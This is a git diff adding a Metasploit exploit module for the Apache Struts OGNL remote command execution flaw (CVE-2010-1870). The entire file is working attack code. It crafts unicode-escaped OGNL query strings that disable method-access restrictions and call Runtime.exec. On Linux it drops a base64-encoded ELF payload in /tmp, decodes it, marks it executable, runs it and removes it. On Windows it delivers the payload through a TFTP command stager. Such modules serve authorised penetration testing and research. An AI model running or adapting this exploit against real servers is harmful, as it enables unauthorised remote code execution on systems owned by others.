diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb new file mode 100644 index 0000000000..482c4ea517 --- /dev/null +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -0,0 +1,159 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts < 2.2.0 Remote Command Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in + Apache Struts versions < 2.2.0. This issue is caused by a failure to properly + handle unicode characters in OGNL extensive expressions passed to the web server. + + By sending a specially crafted request to the Struts application it is possible to + bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. + Bypassing this restriction allows for the execution of arbitrary Java code. + }, + 'Author' => + [ + 'bannedit', # metasploit module + 'Meder Kydyraliev', # original public exploit + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2010-1870'], + [ 'OSVDB', '66280'], + [ 'URL', 'http://www.exploit-db.com/exploits/14360/' ], + ], + 'Platform' => [ 'win', 'linux'], + 'Privileged' => true, + 'Targets' => + [ + ['Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + ], + 'DisclosureDate' => 'Jul 13 2010', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('URI', [ false, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', nil ]), + OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) + ], self.class) + end + + def execute_command(cmd, opts = {}) + uri = Rex::Text::uri_encode(datastore['URI']) + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(2) + var_c = rand_text_alpha_lower(4) + var_d = rand_text_alpha_lower(4) + var_e = rand_text_alpha_lower(4) + + uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&" + uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&" + uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win' + uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux' + uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) + puts uri + vprint_status("Attemping to execute: #{cmd}") + + resp = send_request_raw({ + 'uri' => uri, + 'version' => '1.1', + 'method' => 'GET', + }, 5) + end + + def windows_stager + exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" + + print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") + execute_cmdstager({ :temp => '.'}) + @payload_exe = payload_exe + + print_status("Attempting to execute the payload...") + execute_command(@payload_exe) + end + + def linux_stager + cmds = "/bin/sh@-c@echo LINE | tee FILE" + exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + base64 = Rex::Text.encode_base64(exe) + base64.gsub!(/\=/, "\\u003d") + file = rand_text_alphanumeric(4+rand(4)) + + execute_command("/bin/sh@-c@touch /tmp/#{file}.b64") + cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + base64.each_line do |line| + line.chomp! + cmd = cmds + cmd.gsub!(/LINE/, line) + execute_command(cmds) + end + + execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") + execute_command("/bin/sh@-c@chmod +x /tmp/#{file}") + execute_command("/bin/sh@-c@rm /tmp/#{file}.b64") + + execute_command("/bin/sh@-c@/tmp/#{file}") + @payload_exe = "/tmp/" + file + end + + def on_new_session(client) + if target['Platform'] == 'linux' + print_status("deleting #{@payload_exe} payload file") + execute_command("/bin/sh@-c@rm #{@payload_exe}") + else + print_status("Windows does not allow running executables to be deleted") + print_status("delete the #{@payload_exe} file manually after migrating") + end + end + + def exploit + if not datastore['CMD'].empty? + print_status("Executing user supplied command") + execute_command(datastore['CMD']) + return + end + + case target['Platform'] + when 'linux' + linux_stager + when 'win' + windows_stager + else + raise RuntimeError, 'Unsupported target platform!' + end + + handler + end +end \ No newline at end of file